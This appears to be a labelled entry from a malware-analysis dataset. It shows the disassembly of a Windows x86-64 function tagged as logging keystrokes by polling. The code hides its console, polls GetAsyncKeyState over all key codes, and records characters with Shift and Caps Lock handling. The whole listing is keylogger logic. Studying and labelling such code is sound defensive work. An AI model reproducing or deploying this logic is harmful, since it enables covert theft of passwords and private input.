Function at 0x14001145b
Capabilities:
Log keystrokes via polling

Disassembly:
jmp 0x14001de60
push rbp
push rdi
sub rsp, 0x258
lea rbp, [rsp + 0x20]
lea rcx, [0x14002f0f5]
call fcn.14001167c
call qword [sym.imp.KERNEL32.dll_FreeConsole]
xor eax, eax
cmp eax, 1
je 0x14001e551
mov dword [rbp + 4], 8
jmp 0x14001de9d
mov eax, dword [rbp + 4]
inc eax
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0xff
jg 0x14001e54c
mov ecx, dword [rbp + 4]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
cmp eax, 0xffff8001
jne 0x14001e547
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
and eax, 0x8000
test eax, eax
je 0x14001dedd
mov byte [rbp + 0x1f4], 1
jmp 0x14001dee4
mov byte [rbp + 0x1f4], 0
movzx eax, byte [rbp + 0x1f4]
mov byte [rbp + 0x24], al
mov ecx, 0x14
call qword [sym.imp.USER32.dll_GetKeyState]
cwde
and eax, 1
mov byte [rbp + 0x44], al
movzx eax, byte [rbp + 4]
mov byte [rbp + 0x64], al
cmp dword [rbp + 4], 0x23
jl 0x14001e24e
cmp dword [rbp + 4], 0x7d
jg 0x14001e24e
movzx eax, byte [rbp + 0x44]
movzx ecx, byte [rbp + 0x24]
cmp eax, ecx
je 0x14001e22a
cmp dword [rbp + 4], 0x30
jl 0x14001e209
cmp dword [rbp + 4], 0x39
jg 0x14001e209
cmp dword [rbp + 4], 0x30
jne 0x14001df87
movzx eax, byte [rbp + 0x44]
movzx ecx, byte [rbp + 0x24]
cmp eax, ecx
je 0x14001df61
lea rax, [0x140024f20]
mov qword [rbp + 0x1f8], rax
jmp 0x14001df6f
lea rax, [0x140023d20]
mov qword [rbp + 0x1f8], rax
mov rdx, qword [rbp + 0x1f8]
lea rcx, [0x1400294c0]
call fcn.140011087
jmp 0x14001e207
cmp dword [rbp + 4], 0x31
jne 0x14001dfcf
movzx eax, byte [rbp + 0x44]
movzx ecx, byte [rbp + 0x24]
cmp eax, ecx
je 0x14001dfa9
lea rax, [0x140024f24]
mov qword [rbp + 0x1f8], rax
jmp 0x14001dfb7
lea rax, [0x140023d20]
mov qword [rbp + 0x1f8], rax
mov rdx, qword [rbp + 0x1f8]
lea rcx, [0x1400294c0]
call fcn.140011087
jmp 0x14001e207
cmp dword [rbp + 4], 0x32
jne 0x14001e017
movzx eax, byte [rbp + 0x44]
movzx ecx, byte [rbp + 0x24]
cmp eax, ecx
je 0x14001dff1
lea rax, str._2_CAP_
mov qword [rbp + 0x1f8], rax
jmp 0x14001dfff
lea rax, [0x140023d20]
mov qword [rbp + 0x1f8], rax
mov rdx, qword [rbp + 0x1f8]
lea rcx, [0x1400294c0]
call fcn.140011087
jmp 0x14001e207
cmp dword [rbp + 4], 0x33
jne 0x14001e05f
movzx eax, byte [rbp + 0x44]
movzx ecx, byte [rbp + 0x24]
cmp eax, ecx
je 0x14001e039
lea rax, str._3_CAP_
mov qword [rbp + 0x1f8], rax
jmp 0x14001e047
lea rax, [0x140023d20]
mov qword [rbp + 0x1f8], rax
mov rdx, qword [rbp + 0x1f8]
lea rcx, [0x1400294c0]
call fcn.140011087
jmp 0x14001e207
cmp dword [rbp + 4], 0x34
jne 0x14001e0a7
movzx eax, byte [rbp + 0x44]
movzx ecx, byte [rbp + 0x24]
cmp eax, ecx
je 0x14001e081
lea rax, str._____
mov qword [rbp + 0x1f8], rax
jmp 0x14001e08f
lea rax, [0x140023d20]
mov qword [rbp + 0x1f8], rax
mov rdx, qword [rbp + 0x1f8]
lea rcx, [0x1400294c0]
call fcn.140011087
jmp 0x14001e207
cmp dword [rbp + 4], 0x35
jne 0x14001e0ef
movzx eax, byte [rbp + 0x44]
movzx ecx, byte [rbp + 0x24]
cmp eax, ecx
je 0x14001e0c9
lea rax, [0x140024f48]
mov qword [rbp + 0x1f8], rax
jmp 0x14001e0d7
lea rax, [0x140023d20]
mov qword [rbp + 0x1f8], rax
mov rdx, qword [rbp + 0x1f8]
lea rcx, [0x1400294c0]
call fcn.140011087
jmp 0x14001e207
cmp dword [rbp + 4], 0x36
jne 0x14001e137
movzx eax, byte [rbp + 0x44]
movzx ecx, byte [rbp + 0x24]
cmp eax, ecx
je 0x14001e111
lea rax, [0x140024f4c]
mov qword [rbp + 0x1f8], rax
jmp 0x14001e11f
lea rax, [0x140023d20]
mov qword [rbp + 0x1f8], rax
mov rdx, qword [rbp + 0x1f8]
lea rcx, [0x1400294c0]
call fcn.140011087
jmp 0x14001e207
cmp dword [rbp + 4], 0x37
jne 0x14001e17f
movzx eax, byte [rbp + 0x44]
movzx ecx, byte [rbp + 0x24]
cmp eax, ecx
je 0x14001e159
lea rax, [0x140024f50]
mov qword [rbp + 0x1f8], rax
jmp 0x14001e167
lea rax, [0x140023d20]
mov qword [rbp + 0x1f8], rax
mov rdx, qword [rbp + 0x1f8]
lea rcx, [0x1400294c0]
call fcn.140011087
jmp 0x14001e207
cmp dword [rbp + 4], 0x38
jne 0x14001e1c4
movzx eax, byte [rbp + 0x44]
movzx ecx, byte [rbp + 0x24]
cmp eax, ecx
je 0x14001e1a1
lea rax, [0x140024f54]
mov qword [rbp + 0x1f8], rax
jmp 0x14001e1af
lea rax, [0x140023d20]
mov qword [rbp + 0x1f8], rax
mov rdx, qword [rbp + 0x1f8]
lea rcx, [0x1400294c0]
call fcn.140011087
jmp 0x14001e207
cmp dword [rbp + 4], 0x39
jne 0x14001e207
movzx eax, byte [rbp + 0x44]
movzx ecx, byte [rbp + 0x24]
cmp eax, ecx
je 0x14001e1e6
lea rax, [0x140024f58]
mov qword [rbp + 0x1f8], rax
jmp 0x14001e1f4
lea rax, [0x140023d20]
mov qword [rbp + 0x1f8], rax
mov rdx, qword [rbp + 0x1f8]
lea rcx, [0x1400294c0]
call fcn.140011087
jmp 0x14001e228
movsx eax, byte [rbp + 0x64]
mov ecx, eax
call qword [sym.imp.ucrtbased.dll_toupper]
mov byte [rbp + 0x64], al
movzx edx, byte [rbp + 0x64]
lea rcx, [0x1400294c0]
call fcn.14001135c
jmp 0x14001e249
movsx eax, byte [rbp + 0x64]
mov ecx, eax
call qword [sym.imp.ucrtbased.dll_tolower]
mov byte [rbp + 0x64], al
movzx edx, byte [rbp + 0x64]
lea rcx, [0x1400294c0]
call fcn.14001135c
jmp 0x14001e547
cmp dword [rbp + 4], 0x20
jne 0x14001e26c
lea rdx, [0x140024f5c]
lea rcx, [0x1400294c0]
call fcn.140011087
jmp 0x14001e547
cmp dword [rbp + 4], 0xd
jne 0x14001e288
call fcn.140011523
lea rcx, [0x1400294c0]
call fcn.140011361
jmp 0x14001e547
cmp dword [rbp + 4], 8
jne 0x14001e2b2
lea rcx, [0x1400294c0]
call fcn.140011181
movzx eax, al
test eax, eax
jne 0x14001e2b2
lea rcx, [0x1400294c0]
call fcn.140011668
jmp 0x14001e547
cmp dword [rbp + 4], 0xbc
jne 0x14001e2fd
movzx eax, byte [rbp + 0x44]
movzx ecx, byte [rbp + 0x24]
cmp eax, ecx
je 0x14001e2d7
lea rax, str.____:.
mov qword [rbp + 0x1f8], rax
jmp 0x14001e2e5
lea rax, [0x140023d28]
mov qword [rbp + 0x1f8], rax
mov rdx, qword [rbp + 0x1f8]
lea rcx, [0x1400294c0]
call fcn.140011087
jmp 0x14001e547
cmp dword [rbp + 4], 0xbd
jne 0x14001e348
movzx eax, byte [rbp + 0x44]
movzx ecx, byte [rbp + 0x24]
cmp eax, ecx
je 0x14001e322
lea rax, [0x140023d2c]
mov qword [rbp + 0x1f8], rax
jmp 0x14001e330
lea rax, [0x140023d30]
mov qword [rbp + 0x1f8], rax
mov rdx, qword [rbp + 0x1f8]
lea rcx, [0x1400294c0]
call fcn.140011087
jmp 0x14001e547
cmp dword [rbp + 4], 0xbe
jne 0x14001e393
movzx eax, byte [rbp + 0x44]
movzx ecx, byte [rbp + 0x24]
cmp eax, ecx
je 0x14001e36d
lea rax, [0x140023d34]
mov qword [rbp + 0x1f8], rax
jmp 0x14001e37b
lea rax, [0x140023d38]
mov qword [rbp + 0x1f8], rax
mov rdx, qword [rbp + 0x1f8]
lea rcx, [0x1400294c0]
call fcn.140011087
jmp 0x14001e547
cmp dword [rbp + 4], 0xdc
jne 0x14001e3de
movzx eax, byte [rbp + 0x44]
movzx ecx, byte [rbp + 0x24]
cmp eax, ecx
je 0x14001e3b8
lea rax, [0x140023d3c]
mov qword [rbp + 0x1f8], rax
jmp 0x14001e3c6
lea rax, str._BackSlash_
mov qword [rbp + 0x1f8], rax
mov rdx, qword [rbp + 0x1f8]
lea rcx, [0x1400294c0]
call fcn.140011087
jmp 0x14001e547
cmp dword [rbp + 4], 0xdb
jne 0x14001e429
movzx eax, byte [rbp + 0x44]
movzx ecx, byte [rbp + 0x24]
cmp eax, ecx
je 0x14001e403
lea rax, str.___
mov qword [rbp + 0x1f8], rax
jmp 0x14001e411
lea rax, [0x140023da4]
mov qword [rbp + 0x1f8], rax
mov rdx, qword [rbp + 0x1f8]
lea rcx, [0x1400294c0]
call fcn.140011087
jmp 0x14001e547
cmp dword [rbp + 4], 0xe2
jne 0x14001e474
movzx eax, byte [rbp + 0x44]
movzx ecx, byte [rbp + 0x24]
cmp eax, ecx
je 0x14001e44e
lea rax, [0x140023da8]
mov qword [rbp + 0x1f8], rax
jmp 0x14001e45c
lea rax, [0x140023dac]
mov qword [rbp + 0x1f8], rax
mov rdx, qword [rbp + 0x1f8]
lea rcx, [0x1400294c0]
call fcn.140011087
jmp 0x14001e547
cmp dword [rbp + 4], 0x10
je 0x14001e547
cmp dword [rbp + 4], 0xa0
je 0x14001e547
mov edx, dword [rbp + 4]
lea rcx, [rbp + 0x148]
call fcn.1400110be
mov qword [rbp + 0x1f8], rax
mov rax, qword [rbp + 0x1f8]
mov qword [rbp + 0x200], rax
mov r8, qword [rbp + 0x200]
lea rdx, [0x140023db4]
lea rcx, [rbp + 0x188]
call fcn.1400116ae
mov qword [rbp + 0x208], rax
mov rax, qword [rbp + 0x208]
mov qword [rbp + 0x210], rax
lea r8, [0x140023db0]
mov rdx, qword [rbp + 0x210]
lea rcx, [rbp + 0x1c8]
call fcn.1400115f5
mov qword [rbp + 0x218], rax
mov rax, qword [rbp + 0x218]
mov qword [rbp + 0x220], rax
mov rdx, qword [rbp + 0x220]
lea rcx, [0x1400294c0]
call fcn.140011177
nop
lea rcx, [rbp + 0x1c8]
call fcn.14001112c
nop
lea rcx, [rbp + 0x188]
call fcn.14001112c
nop
lea rcx, [rbp + 0x148]
call fcn.14001112c
jmp 0x14001de95
jmp 0x14001de81
xor eax, eax
lea rsp, [rbp + 0x238]
pop rdi
pop rbp
ret